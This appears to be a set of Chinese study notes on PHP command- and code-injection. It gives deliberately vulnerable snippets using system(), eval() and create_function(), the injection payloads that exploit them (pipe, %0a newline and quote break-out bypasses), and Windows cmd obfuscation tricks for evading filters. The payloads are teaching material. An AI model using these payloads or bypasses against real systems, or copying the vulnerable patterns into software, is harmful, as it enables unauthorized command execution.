远程命令执行(复习笔记)

执行系统命令

　　assert system passthru exec pcntl_exec popen proc_open \'\'(反单引号)

代码执行与加密

　　eval assert call_user_func base64_decode gzinflate gzunconpress gzdecode str_rot13

文件包含与生成

　　require require_once include include_once file_get_contents file_put_contents fputs fwrite

　　.htaccess: SetHandler auto_prepend_file auto_append_file

　　例题一：

<?php
  system("ping -c 2 ".$_GET[\'ip\']);
?>

　　上述没有任何过滤当 ip=127.0.0.1 | whoami 即可执行whoami 命令

　　例题二:

<?php
  if (!(preg_match(\'/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m\', $_GET[\'ip\']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET[\'ip\']);
?>

　　上述正则若IP不是 xxx.xxx.xxx.xxx 则终止提示 Invalid IP address

　　此处可使用%0a 换行进行绕过

　　ip=127.0.0.1%0awhoami 执行whoami

　　例题三:

<?php
  if (!(preg_match(\'/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/\', $_GET[\'ip\']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET[\'ip\']);

?>

　　上述代码有重定向但是可以通过抓包来实现绕过

　　在抓到的包中 ip=127.0.0.1|%20whoami 执行whoami

　　例题四:

<?php 
  $str="echo \"Hello ".$_GET[\'name\']."!!!\";";

  eval($str);
?>

　　name=%22;phpinfo();//;//) （%22为 " ）绕过执行phpinfo();

　　例题五:

<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }   
}
  require_once(\'../header.php\');
  require_once(\'../sqli/db.php\');
   $sql = "SELECT * FROM users ";

   $order = $_GET["order"];
   $result = mysql_query($sql);
  if ($result) {
      while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row[\'id\'],$row[\'name\'],$row[\'age\']);
    }
    if (isset($order)) { 
      usort($users, create_function(\'$a, $b\', \'return strcmp($a->\'.$order.\',$b->\'.$order.\');\'));
    }
   }   

      ?>
      <table class=\'table table-striped\' >
      <tr>
         <th><a href="example2.php?order=id">id</th>
         <th><a href="example2.php?order=name">name</th>
         <th><a href="example2.php?order=age">age</th>
      </tr>
      <?php

    foreach ($users as $user) {  
         echo "<tr>";
             echo "<td>".$user->id."</td>";
             echo "<td>".$user->name."</td>";
             echo "<td>".$user->age."</td>";
         echo "</tr>";
      }  
      echo "</table>";
  require \'../footer.php\';
?>

　　理解create_function相当于function($args){方法代码部分} order=id);;)}phpinfo();// 闭合绕过

命令执行漏洞绕过过滤摘选自 https://bbs.zkaq.cn/t/4557.html

    whoami //正常执行
    w"h"o"a"m"i //正常执行
    w"h"o"a"m"i" //正常执行
    wh""o^a^mi //正常执行
    wh""o^am"i //正常执行
    ((((Wh^o^am""i)))) //正常执行

    set a=who
    set b=ami
    %a%%b% //正常执行whoami
    set a=w""ho
    set b=a^mi
    %a%%b% //根据前一知识点进行组合，正常执行whoami
    set a=ser&& set b=ne&& set c=t u && call %b%%c%%a%
    //在变量中设置空格，最后调用变量来执行命令

    %a:~0% //取出a的值中的所有字符
    此时正常执行whoami
    %a:~0,6% //取出a的值，从第0个位置开始，取6个值
    此时因为whoami总共就6个字符，所以取出后正常执行whoami
    %a:~0,5% //取5个值，whoam无此命令
    %a:~0,4% //取4个值，whoa无此命令